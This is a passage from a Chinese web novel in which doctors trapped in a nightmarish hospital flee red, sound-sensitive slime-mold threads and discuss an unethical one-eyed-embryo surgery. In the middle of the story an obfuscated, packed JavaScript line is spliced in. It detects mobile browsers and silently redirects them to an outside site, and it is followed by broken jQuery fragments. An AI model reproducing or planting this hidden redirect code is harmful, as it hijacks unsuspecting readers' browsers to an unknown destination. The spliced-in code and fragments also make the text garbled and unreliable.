李俊一步步向他走来。
蒋裕急得汗水都流进了眼睛里,视线模糊了一大片。
“主任,搞错了。”手术间大门从外面打开,一个穿着洗手衣的男人走了进来,“我只是让他送东西而已。”
蒋裕提着的一口气终于是松了下来。
“董飞?你进来干什么,我这边已经快完成了。”李俊看向来者,脸色倒是变得更臭了。
进来的男人看上去三四十岁,蒋裕猜他起码也是个副主任,因为他面对李俊时不卑不亢,应该职称没有相差太多。
“快完成了就好,有问题叫我。”董飞笑笑,视线扫过手术间里侧那台庞大的机器,定定地看了好几秒才移开目光,他转向蒋裕,“赶紧放下,别耽误李主任做手术。”
“哦哦。”蒋裕把无菌布包着的胎儿递给一助。
李俊冷哼一声,“别以为我不知道你在想什么,收收你那点小心思,别搞小动作。”
董飞的表情有那么一刻变得僵硬,但很快就调整了过来,还是那副淡然的样子,“李主任,我不知道你在说什么。来吧,洗个手跟我上台去。”
后面那句是对蒋裕说的,蒋裕如临大赦,屁颠屁颠地跟着他出了1号手术间。
“董主任……”
“嘘。”董飞把食指抵在嘴唇上。
蒋裕闭上了嘴。
董飞领着他往前走。
靠近手术室大门就是办公室的位置,另一边则是手术室前台,董飞用工牌刷开了办公室的门,跟蒋裕一起走进去。
办公室的墙面上有一盏醒目的绿灯。
确认绿灯亮着,董飞才开口:“你看到了吗?”
“什么?”
“刚才的手术。”
“我……”对于刚才那场手术,蒋裕光是想想就要反胃了。
“有几只眼睛?”
“什么?”
“那个供体,不,胚胎有几只眼睛?”
“……一只。”
“二次提取,他居然真的这么做了……”董飞双手抱头抵着墙面,双目紧皱。
“那个,他这是什么手术?”
董飞很快恢复了正常的姿态和神情,摇摇头道:“你还是不知道为好。”
“那我……”
“我还有点事,下场手术1个小时后开始,你在这儿休息会吧,等要上台了我来叫你。”
“好的,董主任。”
董飞似乎真的把他当成了自己带教的规培生。
他走以后,蒋裕还是心有余悸,刚才那样的手术,一看就不可能通过伦理审查的,还是自己的泡世界好啊,才不会出现这种丧心病狂的事。
蒋裕点开手环,时间还剩9个多小时,不知道程昭怎么样了。
他不知道的是,程昭此刻就躲在办公室对面的前台下面,跟他只相隔一条走廊。
程昭听到了蒋裕的声音,还从脚步声判断出有两个人进了办公室,接着又有一个人出来了,她偷偷探出头来看,是一个不认识的中年医生。
这么说来,还留在办公室里面的人,应该就是蒋裕了。
程昭又等了一会儿,确定走廊里没人以后,来到了办公室门口。
然后她就犯了难,直接按门把手是打不开的,这门居然是要刷工牌进去的,她兜里是空空如也的,不知道里面的蒋裕能不能开门。
可是敲门的音量会不会吸引那些红线呢?
这手环还是不够智能啊,怎么就没开发出通讯功能呢?
在门外踌躇了一会儿,程昭又退守回了前台,扒着桌面蹲下,只露出一双眼睛。
她拿了一张空白的手术知情同意书,团把团把往办公室门上扔。
只有很轻的“噗”一声。
程昭谨慎地察看四周角落和地面,都没有红色丝线冒出来,看来这个声音太轻了,不会触发它们。
但坏处是,也不能触发对面,办公室毫无动静。
她把水笔的笔盖拔了下来,继续往门上扔。
依旧没动静,不管是好的还是坏的。
肖音音紧张地看着她,但是没有阻止。
程昭拔了前台的电话线,把座机抱在怀里。
要是这动静都不成的话,她这条命就算在蒋裕这个猪队友头上!
深色的座机在空中划出一条抛物线,由于重量,高度快速下降。程昭抛出去时没敢用很大力,她不确定那玩意儿是不是声音越大爬得越快,要是巨响会助长速度的话,她可来不及跑。
但她低估了座机的分量,看这走势还没砸门上,就要坠地了!
果然,在座机跟地面亲密接触的那一刻,就有红色丝线从手术室那个方向涌来。它无法在没有支撑的空中存在,只能依附在实物上,就像一只无形的蜘蛛在地面上飞速织网,极短的时间里织出了一张长长的带分支的网。
程昭见地面不安全,拉着肖音音站到了前台上,就算红线过来,也得往上爬一阵。
由于站得高,这回程昭看清了,红线并不是单纯地把网铺开。当分支延伸到一定长度却没有收获时,它就会往回缩,重新附着到主体上,让主体变得更粗壮,然后主体就继续拉长前行,生出分支,不断重复这个过程。
这种生长模式,有点像黏菌啊。
难道这是院感爆发?
红色丝线已经把座机包绕起来了,但显然它们对非生物不敢兴趣,只缠绕了一会就松开回缩了。
有一股分支似乎是捕捉到了活人的呼吸声,开始顺着前台向上爬,其余的分支都在慢慢收回主体,而主体也在往这个方向伸出更多分支。
程昭右手一只笔,左手一个病历夹,打算等红色黏菌爬到一半的时候再声东击西。
蒋裕就是在这个时候开的门。
他听到声响以后没有马上动作,听到外面没了声音,才开门一看究竟。门刚开一条缝就看到走廊满地的红色条纹,虽然不知道是什么,但120的经验让他练就了条件反射,立马就要关门,都没注意到程昭就在对面台子上站着。
程昭气得破口大骂:“你特么瞎啊!门开大点!”
“啊?”蒋裕抬头,程昭正站在对面台子上,居高临下地看着他,一手举着笔,一手怀抱着病历夹,宛如一座自由女神像。
靠,这姿势还有点帅的啊。
蒋裕到底也是在重叠域里摸爬滚打过好几月的,身体动作比脑子快,没去细想现在的情况,赶忙把门完全拉开了。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805367|175118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“一、二、三——跳!”
程昭揽着肖音音,两人一同起跳,赶在红线在脚下聚集的那一刻,向前扑去,摔进了对面的办公室里。
红线的动作也很快,前台上的分支纷纷缩回,在走廊上的主干同一时间向办公室大门分出细支。
蒋裕一手拉着一个人,把摔得动弹不得的她俩往里面拖,右脚勾着大门往前一顶,把门砰的一声关上了。
程昭还记得这玩意儿能钻门缝,虽然摔得浑身碎了一样地疼,还在努力地往里面爬。
蒋裕没经历过那些,见红线被挡在了外面,往办公椅上一倒,大喘着气:“没事了,你歇歇吧。诶妹子,你又是谁啊?”
“闭嘴!”程昭听到声音,心脏一紧,但转头一看大门,竟无事发生,那些红色黏菌并没有钻进来。
肖音音已经慢慢扶着墙坐了起来,她看出蒋裕和程昭是一伙的,跟他打了个招呼:“你好,我叫肖音音。”
“卧槽,谁在说话?!”
蒋裕的头左右打转,紧张地四下找寻,他怎么没发现这办公室里头还藏着个男人呢!
肖音音脸涨得通红,缓缓举起手:“那个,是我……”
“你,啊,你,哦,你,你,你伪娘?”蒋裕问出了程昭一直想问,但没好意思问出口的话。
万一人小姑娘,啊不,小伙子是性别认知障碍什么的,那可是政治正确的大事,随随便便问出口,是要被扣性别歧视帽子的。
不过蒋裕本来就是个地域歧视的惯犯了,区区性别歧视的帽子,扣上了也是凭白给他涨一点身高,根本道德绑架不了他。
肖音音听了以后很难过的样子,头摇得像拨浪鼓,琥珀色的眼睛里噙着泪水:“我不是,不是伪娘,我就是女生……”
听着这种娇滴滴的话从一个青年烟嗓里冒出来,程昭和蒋裕都鸡皮疙瘩掉了一地。
“好了,你闭嘴吧。”蒋裕对她做了个捂嘴的姿势。
肖音音点点头,靠着墙暗自神伤。
程昭也从摔伤的疼痛里缓过劲来,爬上了蒋裕对面的椅子坐着。
“你这个地方,能说话?”
“能啊,刚才有个医生带我来的,这里好像比较安全。”蒋裕指了指墙上的绿灯。
两个人正坐在灯下,头顶都被映得绿油油的。
“外面的到底什么东西?”
程昭回想了一下自己看到的情形:“我觉得,有点像某种黏菌,对声音敏感,好像是超过一定分贝就会触发。挺危险的,有攻击性,上来就吸死我们手术间一个麻醉师,千万不能接触到它。”
“你上手术了?”
“没做成,这个就是麻醉提前醒了跑路的病人。”程昭指了指肖音音,虽然并没有刻意避开这个他泡世界的人,但两人都不约而同地降低了音量。
“你呢,进来以后怎么样?”
“呼,别提了,刚进来就跟了一台手术,没想到都出120了,还干门诊的活……那个手术超级重口的!我都不知道他们怎么想出来的……手术间也很奇怪,就是1号间,门上小窗都封起来的那个……”
程昭闻言挑眉:“巧了,我刚才看到,那种红色黏菌的源头也是1号手术间。”